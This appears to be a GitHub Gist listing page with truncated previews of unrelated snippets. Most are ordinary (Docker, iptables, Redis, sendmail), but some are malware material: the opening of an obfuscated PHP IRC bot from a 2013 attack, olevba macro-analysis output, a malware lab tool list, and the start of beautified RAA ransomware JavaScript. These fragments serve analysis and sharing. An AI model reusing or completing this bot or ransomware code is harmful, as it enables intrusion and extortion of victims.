Skip to content

Instantly share code, notes, and snippets.

@danhyun
danhyun / .bashrc
Last active June 11, 2018 09:39
Configure `Dockermachine` and Windows to share folders
function mysqlUrl {
local ip=`docker-machine ip default`
local port=`docker inspect --format='{{(index (index .NetworkSettings.Ports "3306/tcp") 0).HostPort}}' mysql`
echo "$ip:$port"
}
@cizixs
cizixs / Netfilter-IPTables-Diagrams.md
Created April 17, 2018 09:35 — forked from nerdalert/Netfilter-IPTables-Diagrams.md
Linux NetFilter, IP Tables and Conntrack Diagrams

Linux NetFilter, IP Tables and Conntrack Diagrams

IPTABLES TABLES and CHAINS

IPTables has the following 4 built-in tables.

1) Filter Table

Filter is default table for iptables. So, if you don’t define you own table, you’ll be using filter table. Iptables’s filter table has the following built-in chains.

@Warchant
Warchant / Dockerfile
Last active January 21, 2019 03:52
sendmail Dockerfile. But `makemap` fails with `makemap: Need to recompile with -DNEWDB for hash support`.
FROM ubuntu
# http://www.linux-sxs.org/internet_serving/sendm2.html
ENV SMUSER smmsp
RUN apt-get update && apt-get install -y \
m4 \
build-essential \
wget \
libsm-dev \
libdb-dev \
openssl \
@vinioliveira
vinioliveira / Additional Commands
Created June 29, 2011 13:10 — forked from lsbardel/redis-server-for-init.d-startup
Init.d Redis script for Ubuntu
$ sudo adduser --system --no-create-home --disabled-login --disabled-password --group redis
$ sudo mv ~/init-deb.sh /etc/init.d/redis
$ sudo mkdir /etc/redis
$ sudo mv ~/redis.conf /etc/redis/redis.conf
$ sudo chmod +x /etc/init.d/redis
$ sudo chown -R redis:redis /opt/redis
$ sudo touch /var/log/redis.log
$ sudo chown redis:redis /var/log/redis.log
$ sudo update-rc.d -f redis defaults
from collections import OrderedDict
from ctypes import sizeof
from ctypes.wintypes import (
DWORD,
LONG,
WORD,
)
import pygame
from win32clipboard import (
## uploaded by @JohnLaTwC
https://www.virustotal.com/en/file/0c30d700b131246e302ff3da1c4180d21f4650db072e287d1b9d477fe88d312f/analysis/
https://docs.microsoft.com/en-us/windows/desktop/api/wininet/nf-wininet-internetconnecta
void InternetConnectA(
HINTERNET hInternet,
LPCSTR lpszServerName,
INTERNET_PORT nServerPort,
LPCSTR lpszUserName,
LPCSTR lpszPassword,
DWORD dwService,
olevba 0.54.2 on Python 3.7.3 - http://decalage.info/python/oletools
===============================================================================
FILE: a8f5b757d2111927731c2c4730ca97a9d4f2c2b6eb9cd80bbb3ff33168bfd740
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: 'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
@toddtreece
toddtreece / attack.php
Last active December 30, 2019 05:33
sparkfun attack 12-27-13
<?php set_time_limit(0); error_reporting(0); class FZjJrBjJJZfjFnzFf {
var $BvNfVZJNBNjVNvz = array("JFJBfVJnRRzvbZzJ"=>"dXdkZ31kej5geHk7e30=",
"zvvF"=>"8080",
"nVnBV"=>"scary",
"zjnNFn"=>"13",
"HhLxP"=>"#ngrz",
"vBf"=>"scan",
"FzvzFJrrj"=>"bf4b3ba0692b4378406f3df1df1e326a",
"NrVzbznZJJ"=>".",
@sneakymonk3y
sneakymonk3y / malware-lab-tools.txt
Last active March 19, 2020 07:42
Malware Lab Tools
BinText / strings / strings2 / bstrings
Process Monitor
Process Hacker
Autoruns
PEiD
Regshot
LordPE
Ollydbg
IDA Pro/FREE
WireShark
@Antelox
Antelox / RAA_Ransom_beautified.js
Created June 14, 2016 13:09
Beautified Javascript code of the RAA Ransomware
var CryptoJS = CryptoJS || function(u, p) {
var d = {},
l = d.lib = {},
s = function() {},
t = l.Base = {
extend: function(a) {
s.prototype = this;
var c = new s;
a && c.mixIn(a);
c.hasOwnProperty("init") || (c.init = function() {